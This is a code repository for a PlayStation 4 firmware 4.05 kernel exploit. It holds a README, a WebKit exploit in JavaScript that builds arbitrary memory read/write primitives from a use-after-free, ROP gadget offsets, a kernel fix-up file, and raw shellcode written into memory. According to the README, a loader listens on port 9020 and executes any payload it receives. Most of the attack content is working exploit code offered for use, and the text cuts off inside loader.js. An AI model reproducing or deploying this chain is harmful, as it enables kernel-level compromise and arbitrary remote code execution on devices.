├── README.md
├── expl.js
├── fix.c
├── fix.js
├── gadgets.js
├── index.html
├── loader.js
├── prisonbreak.js
├── rop.js
└── syscalls.js
/README.md:
--------------------------------------------------------------------------------
1 | # PS4 4.05 Kernel Exploit
2 | ---
3 | ## Summary
4 | In this project you will find a full implementation of the "namedobj" kernel exploit for the PlayStation 4 on 4.05. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release however, *does not* contain any code related to defeating anti-piracy mechanisms or running homebrew. This exploit does include a loader that listens for payloads on port `9020` and will execute them upon receival.
5 |
6 | You can find fail0verflow's original write-up on the bug [here](https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/), you can find my technical write-up which dives more into implementation specifics [here](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/PS4/%22NamedObj%22%204.05%20Kernel%20Exploit%20Writeup.md).
7 |
8 | ## Patches Included
9 | The following patches are made by default in the kernel ROP chain:
10 | 1) Disable kernel write protection
11 | 2) Allow RWX (read-write-execute) memory mapping
12 | 3) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process
13 | 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode
14 | 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation.
15 |
16 | ## Notes
17 | - This exploit is actually incredibly stable at around 95% in my tests. WebKit very rarely crashes and the same is true with kernel.
18 | - I've built in a patch so the kernel exploit will only run once on the system. You can still make additional patches via payloads.
19 | - A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel.
20 | - An SDK is not provided in this release, however a barebones one to get started with may be released at a later date.
21 | - I've released a sample payload [here](http://www.mediafire.com/file/n4boybw0e06h892/debug_settings.bin) that will make the necessary patches to access the debug menu of the system via settings, jailbreaks, and escapes the sandbox.
22 |
23 | ## Contributors
24 | I was not alone in this exploit's development, and would like to thank those who helped me along the way below.
25 |
26 | - [qwertyoruiopz](https://twitter.com/qwertyoruiopz)
27 | - [Flatz](https://twitter.com/flat_z)
28 | - [CTurt](https://twitter.com/CTurtE)
29 | - Anonymous
30 |
--------------------------------------------------------------------------------
/expl.js:
--------------------------------------------------------------------------------
1 | /* Set up variables that will be used later on */
2 | var _dview;
3 |
4 | /*
5 | Zero out a buffer
6 | */
7 | function zeroFill( number, width )
8 | {
9 | width -= number.toString().length;
10 | if ( width > 0 )
11 | {
12 | return new Array( width + (/\./.test( number ) ? 2 : 1) ).join( '0' ) + number;
13 | }
14 | return number + ""; // always return a string
15 | }
16 |
17 | /*
18 | Int64 library for address operations
19 | */
20 | function int64(low,hi) {
21 | this.low = (low>>>0);
22 | this.hi = (hi>>>0);
23 | this.add32inplace = function(val) {
24 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
25 | var new_hi = (this.hi >>> 0);
26 | if (new_lo < this.low) {
27 | new_hi++;
28 | }
29 | this.hi=new_hi;
30 | this.low=new_lo;
31 | }
32 | this.add32 = function(val) {
33 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
34 | var new_hi = (this.hi >>> 0);
35 | if (new_lo < this.low) {
36 | new_hi++;
37 | }
38 | return new int64(new_lo, new_hi);
39 | }
40 | this.sub32 = function(val) {
41 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
42 | var new_hi = (this.hi >>> 0);
43 | if (new_lo > (this.low) & 0xFFFFFFFF) {
44 | new_hi--;
45 | }
46 | return new int64(new_lo, new_hi);
47 | }
48 | this.sub32inplace = function(val) {
49 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
50 | var new_hi = (this.hi >>> 0);
51 | if (new_lo > (this.low) & 0xFFFFFFFF) {
52 | new_hi--;
53 | }
54 | this.hi=new_hi;
55 | this.low=new_lo;
56 | }
57 | this.and32 = function(val) {
58 | var new_lo = this.low & val;
59 | var new_hi = this.hi;
60 | return new int64(new_lo, new_hi);
61 | }
62 | this.and64 = function(vallo, valhi) {
63 | var new_lo = this.low & vallo;
64 | var new_hi = this.hi & valhi;
65 | return new int64(new_lo, new_hi);
66 | }
67 | this.toString = function(val) {
68 | val = 16; // eh
69 | var lo_str = (this.low >>> 0).toString(val);
70 | var hi_str = (this.hi >>> 0).toString(val);
71 | if(this.hi == 0) return lo_str;
72 | else {
73 | lo_str = zeroFill(lo_str, 8)
74 | }
75 | return hi_str+lo_str;
76 | }
77 | this.toPacked = function() {
78 | return {hi: this.hi, low: this.low};
79 | }
80 | this.setPacked = function(pck) {
81 | this.hi=pck.hi;
82 | this.low=pck.low;
83 | return this;
84 | }
85 |
86 | return this;
87 | }
88 |
89 | var memPressure = new Array(400); // For forcing GC via memory pressure
90 | var stackFrame = []; // Our fake stack in memory
91 | var frameIndex = 0; // Set index in fake stack to 0 (0xFF00)
92 | var stackPeek = 0;
93 |
94 | /* Force garbage collection via memory pressure */
95 | var doGarbageCollection = function()
96 | {
97 | /* Apply memory pressure */
98 | for (var i = 0; i < memPressure.length; i++)
99 | {
100 | memPressure[i] = new Uint32Array(0x10000);
101 | }
102 |
103 | /* Zero out the buffer */
104 | for (var i = 0; i < memPressure.length; i++)
105 | {
106 | memPressure[i] = 0;
107 | }
108 | }
109 |
110 | /* For peeking the stack (reading) */
111 | function peek_stack()
112 | {
113 | var mem;
114 | var retno;
115 | var oldRetno;
116 |
117 | /* Set arguments.length to return 0xFFFF on first call, and 1 on subsequent calls */
118 | retno = 0xFFFF;
119 |
120 | arguments.length =
121 | {
122 | valueOf: function()
123 | {
124 | oldRetno = retno;
125 | retno = 1;
126 | return oldRetno;
127 | }
128 | }
129 |
130 | /*
131 | What this essentially does is when function.prototype.apply() is called, it will
132 | check arguments length. Where it should return 1 (the actual size), it actually
133 | returns 0xFFFF due to the function above. This allows an out-of-bounds read
134 | on the stack, and allows us to control uninitialized memory regions
135 | */
136 | var args = arguments;
137 |
138 | (function() {
139 | (function() {
140 | (function() {
141 | mem = arguments[0xFF00];
142 | }).apply(undefined, args);
143 | }).apply(undefined, stackFrame);
144 | }).apply(undefined, stackFrame);
145 |
146 | stackPeek = mem;
147 |
148 | return mem;
149 | }
150 |
151 | /* For poking the stack (writing) */
152 | function poke_stack(val)
153 | {
154 | /* Set stack frame value @ frameIndex */
155 | stackFrame[frameIndex] = val;
156 |
157 | /* Apply to uninitialized memory region on the stack */
158 | (function() {
159 | (function() {
160 | (function() {
161 | }).apply(null, stackFrame);
162 | }).apply(null, stackFrame);
163 | }).apply(null, stackFrame);
164 |
165 | /* Clear value in stack frame @ frameIndex as it's been applied already */
166 | stackFrame[frameIndex] = "";
167 | }
168 |
169 | /* Run exploit PoC */
170 | function run() {
171 | try
172 | {
173 | /*
174 | Set each integer in the stackframe to it's index, this way we can peek
175 | the stack to align it
176 | */
177 | for(var i = 0; i < 0xFFFF; i++)
178 | {
179 | stackFrame[i] = i;
180 | }
181 |
182 | /*
183 | Attempt to poke and peek the stack. If the peek returns null, it means
184 | the out-of-bounds read failed, throw an exception and catch it.
185 | */
186 | frameIndex = 0;
187 | poke_stack(0);
188 |
189 | if (peek_stack() == undefined) {
190 | throw "System is not vulnerable!";
191 | }
192 |
193 | /* Setup our stack frame so our target object reference resides inside of it */
194 | frameIndex = 0;
195 | poke_stack(0);
196 |
197 | peek_stack();
198 | frameIndex = stackPeek;
199 |
200 | /* Align the stack frame */
201 | poke_stack(0x4141);
202 |
203 | for (var align = 0; align < 8; align++)
204 | (function(){})();
205 |
206 | /* Test if we aligned our stack frame properly, if not throw exception and catch */
207 | peek_stack();
208 |
209 | if (stackPeek != 0x4141)
210 | {
211 | throw "Couldn't align stack frame to stack!";
212 | }
213 |
214 | /* Setup spray to overwrite the length header in UAF'd object's butterfly */
215 | var butterflySpray = new Array(0x1000);
216 |
217 | for (var i = 0; i < 0x1000; i++)
218 | {
219 | butterflySpray[i] = [];
220 |
221 | for (var k = 0; k < 0x40; k++)
222 | {
223 | butterflySpray[i][k] = 0x42424242;
224 | }
225 |
226 | butterflySpray[i].unshift(butterflySpray[i].shift());
227 | }
228 |
229 | /* Spray marked space */
230 | var sprayOne = new Array(0x100);
231 |
232 | for (var i = 0; i < 0x100; i++)
233 | {
234 | sprayOne[i] = [1];
235 |
236 | if (!(i & 3))
237 | {
238 | for (var k = 0; k < 0x8; k++)
239 | {
240 | sprayOne[i][k] = 0x43434343;
241 | }
242 | }
243 |
244 | sprayOne[i].unshift(sprayOne[i].shift());
245 | }
246 |
247 | var sprayTwo = new Array(0x400);
248 |
249 | for (var i = 0; i < 0x400; i++)
250 | {
251 | sprayTwo[i] = [2];
252 |
253 | if (!(i & 3))
254 | {
255 | for (var k = 0; k < 0x80; k++)
256 | {
257 | sprayTwo[i][k] = 0x43434343;
258 | }
259 | }
260 |
261 | sprayTwo[i].unshift(sprayTwo[i].shift());
262 | }
263 |
264 | /* Setup target object for UAF, spray */
265 | var uafTarget = [];
266 |
267 | for (var i = 0; i < 0x80; i++) {
268 | uafTarget[i] = 0x42420000;
269 | }
270 |
271 | /* Store target on the stack to maintain a reference after forced garbage collection */
272 | poke_stack(uafTarget);
273 |
274 | /* Remove references so they're free'd when garbage collection occurs */
275 | uafTarget = 0;
276 | sprayOne = 0;
277 | sprayTwo = 0;
278 |
279 | /* Force garbage collection */
280 | for (var k = 0; k < 4; k++)
281 | doGarbageCollection();
282 |
283 | /* Re-collect our maintained reference from the stack */
284 | peek_stack();
285 | uafTarget = stackPeek;
286 |
287 | stackPeek = 0;
288 |
289 | /*
290 | We now have access to uninitialized memory, force a heap overflow by
291 | overwriting the "length" field of our UAF'd object's butterfly via spraying
292 | */
293 | for (var i = 0; i < 0x1000; i++)
294 | {
295 | for (var k = 0x0; k < 0x80; k++)
296 | {
297 | butterflySpray[i][k] = 0x7FFFFFFF;
298 |
299 | /*
300 | Find our UAF'd object via modified length, which should be the maximum
301 | value for a 32-bit integer. If it is, we've successfully primitive our
302 | butterfly's length header!
303 | */
304 | if (uafTarget.length == 0x7FFFFFFF)
305 | {
306 | /* Store index of butterfly for UAF'd object for primitiveSpray */
307 | var butterflyIndex = i;
308 |
309 | /* Remove all references except what we need to free memory */
310 | for (var i = 0; i < butterflyIndex; i++)
311 | butterflySpray[i] = 0;
312 |
313 | for (var i = butterflyIndex + 1; i < 0x1000; i++)
314 | butterflySpray[i] = 0;
315 |
316 | doGarbageCollection();
317 |
318 | /* Spray to obtain a read/write primitive */
319 | var primitiveSpray = new Array(0x20000);
320 | var potentialPrim = new ArrayBuffer(0x1000);
321 |
322 | for (var i = 0; i < 0x20000; i++)
323 | {
324 | primitiveSpray[i] = i;
325 | }
326 |
327 | var overlap = new Array(0x80);
328 |
329 | /* Setup potential uint32array slaves for our read/write primitive */
330 | for (var i = 0; i < 0x20000; i++)
331 | {
332 | primitiveSpray[i] = new Uint32Array(potentialPrim);
333 | }
334 |
335 | /* Find a slave uint32array from earlier spray */
336 | var currentQword = 0x10000;
337 | var found = false;
338 | var smashedButterfly = new int64(0,0);
339 | var origData = new int64(0, 0);
340 | var locateHelper = new int64(0, 0);
341 |
342 | while (!found)
343 | {
344 | /*
345 | Change qword value for uint32array size to 0x1337 in UAF'd object
346 | to defeat U-ASLR
347 | */
348 | var savedVal = uafTarget[currentQword];
349 | uafTarget[currentQword] = 0x1337;
350 |
351 | /* Check sprayed uint32array slaves for modified size */
352 | for (var i = 0; i < 0x20000; i++)
353 | {
354 | if (primitiveSpray[i] && primitiveSpray[i].byteLength != 0x1000)
355 | {
356 | /*
357 | Found our primitive! Restore uint32array size as 0x1000 is
358 | sufficient.
359 | */
360 | uafTarget[currentQword] = savedVal;
361 |
362 | var primitive = primitiveSpray[i];
363 | var overlap = [1337];
364 |
365 | uafTarget[currentQword - 5] = overlap;
366 |
367 | smashedButterfly.low = primitive[2];
368 | smashedButterfly.hi = primitive[3];
369 | smashedButterfly.keep_gc = overlap;
370 |
371 | /* Find previous ArrayBufferView */
372 | uafTarget[currentQword - 5] = uafTarget[currentQword - 2];
373 |
374 | butterflySpray[butterflyIndex][k] = 0;
375 |
376 | origData.low = primitive[4];
377 | origData.hi = primitive[5];
378 |
379 | primitive[4] = primitive[12];
380 | primitive[5] = primitive[13];
381 | primitive[14] = 0x40;
382 |
383 | /* Find our uint32array slave for writing values */
384 | var slave = undefined;
385 |
386 | for (var k = 0; k < 0x20000; k++)
387 | {
388 | if (primitiveSpray[k].length == 0x40)
389 | {
390 | slave = primitiveSpray[k];
391 | break;
392 | }
393 | }
394 |
395 | if(!slave)
396 | throw "Could not find slave for write primitive!";
397 |
398 | /* Set primitive address to that of the smashed butterfly's */
399 | primitive[4] = smashedButterfly.low;
400 | primitive[5] = smashedButterfly.hi;
401 |
402 | /* Setup primitive and slave for primitive functions */
403 | overlap[0] = uafTarget;
404 |
405 | var targetEntry = new int64(slave[0], slave[1]);
406 |
407 | primitive[4] = targetEntry.low;
408 | primitive[5] = targetEntry.hi;
409 | slave[2] = 0;
410 | slave[3] = 0;
411 |
412 | /* Clear references for future collection from GC */
413 | uafTarget = 0;
414 | primitiveSpray = 0;
415 |
416 | /* Finally restore primitive address to it's original state */
417 | primitive[4] = origData.low;
418 | primitive[5] = origData.hi;
419 |
420 | /*
421 | Derive primitive functions
422 | */
423 |
424 | /* Purpose: Leak object addresses for ASLR defeat */
425 | var leakval = function(obj)
426 | {
427 | primitive[4] = smashedButterfly.low;
428 | primitive[5] = smashedButterfly.hi;
429 |
430 | overlap[0] = obj;
431 |
432 | var val = new int64(slave[0], slave[1]);
433 |
434 | slave[0] = 1337;
435 | slave[1] = 0xffff0000;
436 |
437 | primitive[4] = origData.low;
438 | primitive[5] = origData.hi;
439 |
440 | return val;
441 | }
442 |
443 | /* Purpose: Create a value (used for checking the primitive) */
444 | var createval = function(val)
445 | {
446 | primitive[4] = smashedButterfly.low;
447 | primitive[5] = smashedButterfly.hi;
448 |
449 | slave[0] = val.low;
450 | slave[1] = val.hi;
451 |
452 | var val = overlap[0];
453 |
454 | slave[0] = 1337;
455 | slave[1] = 0xffff0000;
456 |
457 | primitive[4] = origData.low;
458 | primitive[5] = origData.hi;
459 |
460 | return val;
461 | }
462 |
463 | /* Purpose: Read 32-bits (or 4 bytes) from address */
464 | var read32 = function(addr)
465 | {
466 | primitive[4] = addr.low;
467 | primitive[5] = addr.hi;
468 |
469 | var val = slave[0];
470 |
471 | primitive[4] = origData.low;
472 | primitive[5] = origData.hi;
473 |
474 | return val;
475 | }
476 |
477 | /* Purpose: Read 64-bits (or 8 bytes) from address */
478 | var read64 = function(addr)
479 | {
480 | primitive[4] = addr.low;
481 | primitive[5] = addr.hi;
482 |
483 | var val = new int64(slave[0], slave[1]);
484 |
485 | primitive[4] = origData.low;
486 | primitive[5] = origData.hi;
487 |
488 | return val;
489 | }
490 |
491 | /* Purpose: Write 32-bits (or 4 bytes) to address */
492 | var write32 = function(addr, val)
493 | {
494 | primitive[4] = addr.low;
495 | primitive[5] = addr.hi;
496 |
497 | slave[0] = val;
498 |
499 | primitive[4] = origData.low;
500 | primitive[5] = origData.hi;
501 | }
502 |
503 | /* Purpose: Write 64-bits (or 8 bytes) to address */
504 | var write64 = function(addr, val)
505 | {
506 | primitive[4] = addr.low;
507 | primitive[5] = addr.hi;
508 |
509 | if (val == undefined)
510 | {
511 | val = new int64(0,0);
512 | }
513 | if (!(val instanceof int64))
514 | {
515 | val = new int64(val,0);
516 | }
517 |
518 | slave[0] = val.low;
519 | slave[1] = val.hi;
520 |
521 | primitive[4] = origData.low;
522 | primitive[5] = origData.hi;
523 | }
524 |
525 | if (createval(leakval(0x1337)) != 0x1337) {
526 | throw "Primitive is broken, jsvalue leaked does not match jsvalue created!";
527 | }
528 |
529 | var testData = [1,2,3,4,5,6,7,8];
530 |
531 | var testAddr = leakval(testData);
532 |
533 | var butterflyAddr = read64(testAddr.add32(8));
534 |
535 | if ((butterflyAddr.low == 0 && butterflyAddr.hi == 0) || createval(read64(butterflyAddr)) != 1) {
536 | throw "Primitive is broken, either butterfly address is null or object is not a valid jsvalue!";
537 | }
538 |
539 | if (window.postexploit) {
540 | window.postexploit({
541 | read4: read32,
542 | read8: read64,
543 | write4: write32,
544 | write8: write64,
545 | leakval: leakval,
546 | createval: createval
547 | });
548 | }
549 | return 2;
550 | }
551 | }
552 | uafTarget[currentQword] = savedVal;
553 | currentQword ++;
554 | }
555 | }
556 | }
557 | }
558 | /*
559 | If we ended up here, the exploit failed to find our resized object/we were
560 | not able to modify the UaF'd target's length :(
561 | */
562 | return 1;
563 | }
564 | catch (e)
565 | {
566 | alert(e);
567 | }
568 | }
569 |
570 | //window.onload = function() { document.getElementById("clck").innerHTML = 'go'; };
571 | window.onload = function() { run(); };
--------------------------------------------------------------------------------
/fix.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #define KERN_XFAST_SYSCALL 0x30EB30
4 | #define KERN_MALLOC 0x1D1700
5 | #define KERN_FREE 0x1D18D0
6 | #define KERN_PRINTF 0x347580
7 |
8 | int main(void)
9 | {
10 | int i;
11 | void *addr;
12 | uint8_t *ptrKernel;
13 |
14 | int (*printf)(const char *fmt, ...) = NULL;
15 | void *(*malloc)(unsigned long size, void *type, int flags) = NULL;
16 | void (*free)(void *addr, void *type) = NULL;
17 |
18 | // Get kbase and resolve kernel symbols
19 | ptrKernel = (uint8_t *)(rdmsr(0xc0000082) - KERN_XFAST_SYSCALL);
20 | malloc = (void *)&ptrKernel[KERN_MALLOC];
21 | free = (void *)&ptrKernel[KERN_FREE];
22 | printf = (void *)&ptrKernel[KERN_PRINTF];
23 |
24 | uint8_t *objBase = (uint8_t *)(*(uint64_t *)(0xDEAD0000));
25 |
26 | // Fix stuff in object that's corrupted by exploit
27 | *(uint64_t *)(objBase + 0x0E0) = 0x7773706964;
28 | *(uint64_t *)(objBase + 0x0F0) = 0;
29 | *(uint64_t *)(objBase + 0x0F8) = 0;
30 |
31 | // Malloc so object doesn't get smashed
32 | for (i = 0; i < 512; i++)
33 | {
34 | addr = malloc(0x180, &ptrKernel[0x133F680], 0x02);
35 |
36 | printf("Alloc: 0x%lx\n", addr);
37 |
38 | if (addr == (void *)objBase)
39 | break;
40 |
41 | free(addr, &ptrKernel[0x133F680]);
42 | }
43 |
44 | printf("Object Dump 0x%lx\n", objBase);
45 |
46 | for (i = 0; i < 0x180; i += 8)
47 | printf(" Object + 0x%03x: 0x%lx\n", i, *(uint64_t *)(*(uint64_t *)(0xDEAD0000) + i));
48 |
49 | // EE :)
50 |
51 | return 0;
52 | }
53 |
--------------------------------------------------------------------------------
/fix.js:
--------------------------------------------------------------------------------
1 | function writeFix(p, addr) {
2 | p.write4(addr.add32(0x00000000), 0x00000be9);
3 | p.write4(addr.add32(0x00000004), 0x90909000);
4 | p.write4(addr.add32(0x00000008), 0x90909090);
5 | p.write4(addr.add32(0x0000000c), 0x90909090);
6 | p.write4(addr.add32(0x00000010), 0x0082b955);
7 | p.write4(addr.add32(0x00000014), 0x8948c000);
8 | p.write4(addr.add32(0x00000018), 0x415741e5);
9 | p.write4(addr.add32(0x0000001c), 0x41554156);
10 | p.write4(addr.add32(0x00000020), 0x83485354);
11 | p.write4(addr.add32(0x00000024), 0x320f18ec);
12 | p.write4(addr.add32(0x00000028), 0x89d58949);
13 | p.write4(addr.add32(0x0000002c), 0x64b948c0);
14 | p.write4(addr.add32(0x00000030), 0x77737069);
15 | p.write4(addr.add32(0x00000034), 0x49000000);
16 | p.write4(addr.add32(0x00000038), 0x4120e5c1);
17 | p.write4(addr.add32(0x0000003c), 0x000200bc);
18 | p.write4(addr.add32(0x00000040), 0xc5094900);
19 | p.write4(addr.add32(0x00000044), 0xd0b58d4d);
20 | p.write4(addr.add32(0x00000048), 0x49ffcf14);
21 | p.write4(addr.add32(0x0000004c), 0x8a509d8d);
22 | p.write4(addr.add32(0x00000050), 0x81490003);
23 | p.write4(addr.add32(0x00000054), 0x030b50c5);
24 | p.write4(addr.add32(0x00000058), 0x868d4901);
25 | p.write4(addr.add32(0x0000005c), 0x001d18d0);
26 | p.write4(addr.add32(0x00000060), 0x00c68149);
27 | p.write4(addr.add32(0x00000064), 0x48001d17);
28 | p.write4(addr.add32(0x00000068), 0x48c04589);
29 | p.write4(addr.add32(0x0000006c), 0xad0000a1);
30 | p.write4(addr.add32(0x00000070), 0x000000de);
31 | p.write4(addr.add32(0x00000074), 0x45894800);
32 | p.write4(addr.add32(0x00000078), 0x888948c8);
33 | p.write4(addr.add32(0x0000007c), 0x000000e0);
34 | p.write4(addr.add32(0x00000080), 0xf080c748);
35 | p.write4(addr.add32(0x00000084), 0x00000000);
36 | p.write4(addr.add32(0x00000088), 0x48000000);
37 | p.write4(addr.add32(0x0000008c), 0x00f880c7);
38 | p.write4(addr.add32(0x00000090), 0x00000000);
39 | p.write4(addr.add32(0x00000094), 0x1aeb0000);
40 | p.write4(addr.add32(0x00000098), 0x00841f0f);
41 | p.write4(addr.add32(0x0000009c), 0x00000000);
42 | p.write4(addr.add32(0x000000a0), 0x4cee894c);
43 | p.write4(addr.add32(0x000000a4), 0x8b48ff89);
44 | p.write4(addr.add32(0x000000a8), 0xd0ffc045);
45 | p.write4(addr.add32(0x000000ac), 0x01ec8341);
46 | p.write4(addr.add32(0x000000b0), 0x02ba2774);
47 | p.write4(addr.add32(0x000000b4), 0x4c000000);
48 | p.write4(addr.add32(0x000000b8), 0x80bfee89);
49 | p.write4(addr.add32(0x000000bc), 0x41000001);
50 | p.write4(addr.add32(0x000000c0), 0x8d48d6ff);
51 | p.write4(addr.add32(0x000000c4), 0x00006f3d);
52 | p.write4(addr.add32(0x000000c8), 0xc7894900);
53 | p.write4(addr.add32(0x000000cc), 0x31c68948);
54 | p.write4(addr.add32(0x000000d0), 0x4cd3ffc0);
55 | p.write4(addr.add32(0x000000d4), 0x75c87d39);
56 | p.write4(addr.add32(0x000000d8), 0xe43145c7);
57 | p.write4(addr.add32(0x000000dc), 0xc8758b48);
58 | p.write4(addr.add32(0x000000e0), 0x5f3d8d48);
59 | p.write4(addr.add32(0x000000e4), 0x31000000);
60 | p.write4(addr.add32(0x000000e8), 0x0fd3ffc0);
61 | p.write4(addr.add32(0x000000ec), 0x0000441f);
62 | p.write4(addr.add32(0x000000f0), 0x0000a148);
63 | p.write4(addr.add32(0x000000f4), 0x0000dead);
64 | p.write4(addr.add32(0x000000f8), 0x89440000);
65 | p.write4(addr.add32(0x000000fc), 0x3d8d48e6);
66 | p.write4(addr.add32(0x00000100), 0x0000005c);
67 | p.write4(addr.add32(0x00000104), 0x20148b4a);
68 | p.write4(addr.add32(0x00000108), 0x08c48349);
69 | p.write4(addr.add32(0x0000010c), 0xd3ffc031);
70 | p.write4(addr.add32(0x00000110), 0x80fc8149);
71 | p.write4(addr.add32(0x00000114), 0x75000001);
72 | p.write4(addr.add32(0x00000118), 0x3d8d48d7);
73 | p.write4(addr.add32(0x0000011c), 0x00000060);
74 | p.write4(addr.add32(0x00000120), 0xd3ffc031);
75 | p.write4(addr.add32(0x00000124), 0x18c48348);
76 | p.write4(addr.add32(0x00000128), 0x415bc031);
77 | p.write4(addr.add32(0x0000012c), 0x415d415c);
78 | p.write4(addr.add32(0x00000130), 0x5d5f415e);
79 | p.write4(addr.add32(0x00000134), 0x909090c3);
80 | p.write4(addr.add32(0x00000138), 0x6f6c6c41);
81 | p.write4(addr.add32(0x0000013c), 0x30203a63);
82 | p.write4(addr.add32(0x00000140), 0x786c2578);
83 | p.write4(addr.add32(0x00000144), 0x624f000a);
84 | p.write4(addr.add32(0x00000148), 0x7463656a);
85 | p.write4(addr.add32(0x0000014c), 0x6d754420);
86 | p.write4(addr.add32(0x00000150), 0x78302070);
87 | p.write4(addr.add32(0x00000154), 0x0a786c25);
88 | p.write4(addr.add32(0x00000158), 0x00000000);
89 | p.write4(addr.add32(0x0000015c), 0x00000000);
90 | p.write4(addr.add32(0x00000160), 0x6265443c);
91 | p.write4(addr.add32(0x00000164), 0x203e6775);
92 | p.write4(addr.add32(0x00000168), 0x656a624f);
93 | p.write4(addr.add32(0x0000016c), 0x2b207463);
94 | p.write4(addr.add32(0x00000170), 0x25783020);
95 | p.write4(addr.add32(0x00000174), 0x3a783330);
96 | p.write4(addr.add32(0x00000178), 0x25783020);
97 | p.write4(addr.add32(0x0000017c), 0x000a786c);
98 | p.write4(addr.add32(0x00000180), 0x6265443c);
99 | p.write4(addr.add32(0x00000184), 0x203e6775);
100 | p.write4(addr.add32(0x00000188), 0x7473754a);
101 | p.write4(addr.add32(0x0000018c), 0x726f4620);
102 | p.write4(addr.add32(0x00000190), 0x7468203a);
103 | p.write4(addr.add32(0x00000194), 0x3a737074);
104 | p.write4(addr.add32(0x00000198), 0x77772f2f);
105 | p.write4(addr.add32(0x0000019c), 0x6f792e77);
106 | p.write4(addr.add32(0x000001a0), 0x62757475);
107 | p.write4(addr.add32(0x000001a4), 0x6f632e65);
108 | p.write4(addr.add32(0x000001a8), 0x61772f6d);
109 | p.write4(addr.add32(0x000001ac), 0x3f686374);
110 | p.write4(addr.add32(0x000001b0), 0x4a563d76);
111 | p.write4(addr.add32(0x000001b4), 0x6d6c5247);
112 | p.write4(addr.add32(0x000001b8), 0x4c6c6133);
113 | p.write4(addr.add32(0x000001bc), 0x00000a59);
114 | }
115 |
--------------------------------------------------------------------------------
/gadgets.js:
--------------------------------------------------------------------------------
1 | /* For storing the gadget and import map */
2 | window.gadgetMap = [];
3 | window.basicImportMap = [];
4 |
5 | /* All function stubs / imports from other modules */
6 | var generateBasicImportMap = function()
7 | {
8 | window.basicImportMap =
9 | {
10 | '4.05':
11 | {
12 | 'setjmp': getGadget('libSceWebKit2', 0x270), // setjmp imported from libkernel
13 | '__stack_chk_fail_ptr': getGadget('libSceWebKit2', 0x2729260), // __stack_chk_fail imported from libkernel
14 | '__stack_chk_fail_offset': 0xD0D0, // offset of __stack_chk_fail from start of libkernel
15 | }
16 | };
17 | }
18 |
19 | /* All gadgets from the binary of available modules */
20 | var generateGadgetMap = function()
21 | {
22 | window.gadgetMap =
23 | {
24 | '4.05':
25 | {
26 | 'pop rsi': getGadget('libSceWebKit2', 0xA459E),
27 | 'pop rdi': getGadget('libSceWebKit2', 0x10F1C1),
28 | 'pop rax': getGadget('libSceWebKit2', 0x1D70B),
29 | 'pop rcx': getGadget('libSceWebKit2', 0x1FCA9B),
30 | 'pop rdx': getGadget('libSceWebKit2', 0xD6660),
31 | 'pop r8': getGadget('libSceWebKit2', 0x4A3B0D),
32 | 'pop r9': getGadget('libSceWebKit2', 0xEB5F8F),
33 | 'pop rsp': getGadget('libSceWebKit2', 0x20AEB0),
34 |
35 | 'push rax': getGadget('libSceWebKit2', 0x126EFC),
36 |
37 | 'add rax, rcx': getGadget('libSceWebKit2', 0x86F06),
38 |
39 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x5863),
40 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11ADD7),
41 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x43CF70),
42 |
43 | 'mov rax, qword ptr [rax]': getGadget('libSceWebKit2', 0xFD88D),
44 |
45 | 'jmp addr': getGadget('libSceWebKit2', 0x852624),
46 |
47 | 'infloop': getGadget('libSceWebKit2', 0x45A11),
48 | 'jmp rax': getGadget('libSceWebKit2', 0x1CA2B9),
49 | 'push rax; jmp rcx': getGadget('libSceWebKit2', 0x469B80),
50 |
51 | 'ret': getGadget('libSceWebKit2', 0xC8),
52 | 'syscall': getGadget('libSceWebKit2', 0x1C69388),
53 | }
54 | };
55 | }
56 |
--------------------------------------------------------------------------------
/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | JailbreakMe PS4 4.05 (FULL JAILBREAK)
5 |
6 |
7 |
8 |
9 |
10 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
665 |
666 |
667 |
668 | ...
WebKit by qwertyoruiopz
Kernel by SpecterDev
This exploit contains a 4.05 kernel exploit!
669 |
670 |
671 |
672 |
--------------------------------------------------------------------------------
/loader.js:
--------------------------------------------------------------------------------
1 | function writeLoader(p, addr) {
2 | p.write4(addr.add32(0x00000000), 0x54415541);
3 | p.write4(addr.add32(0x00000004), 0x83485355);
4 | p.write4(addr.add32(0x00000008), 0xd23118ec);
5 | p.write4(addr.add32(0x0000000c), 0x000001be);
6 | p.write4(addr.add32(0x00000010), 0x0002bf00);
7 | p.write4(addr.add32(0x00000014), 0x04c60000);
8 | p.write4(addr.add32(0x00000018), 0x44c61024);
9 | p.write4(addr.add32(0x0000001c), 0xc7020124);
10 | p.write4(addr.add32(0x00000020), 0x00042444);
11 | p.write4(addr.add32(0x00000024), 0x66000000);
12 | p.write4(addr.add32(0x00000028), 0x022444c7);
13 | p.write4(addr.add32(0x0000002c), 0x44c63c23);
14 | p.write4(addr.add32(0x00000030), 0xc6000a24);
15 | p.write4(addr.add32(0x00000034), 0x000b2444);
16 | p.write4(addr.add32(0x00000038), 0x0c2444c6);
17 | p.write4(addr.add32(0x0000003c), 0x2444c600);
18 | p.write4(addr.add32(0x00000040), 0x44c6000d);
19 | p.write4(addr.add32(0x00000044), 0xc6000e24);
20 | p.write4(addr.add32(0x00000048), 0x000f2444);
21 | p.write4(addr.add32(0x0000004c), 0x000097e8);
22 | p.write4(addr.add32(0x00000050), 0x0010ba00);
23 | p.write4(addr.add32(0x00000054), 0x89480000);
24 | p.write4(addr.add32(0x00000058), 0xc58941e6);
25 | p.write4(addr.add32(0x0000005c), 0x92e8c789);
26 | p.write4(addr.add32(0x00000060), 0xbe000000);
27 | p.write4(addr.add32(0x00000064), 0x0000000a);
28 | p.write4(addr.add32(0x00000068), 0xe8ef8944);
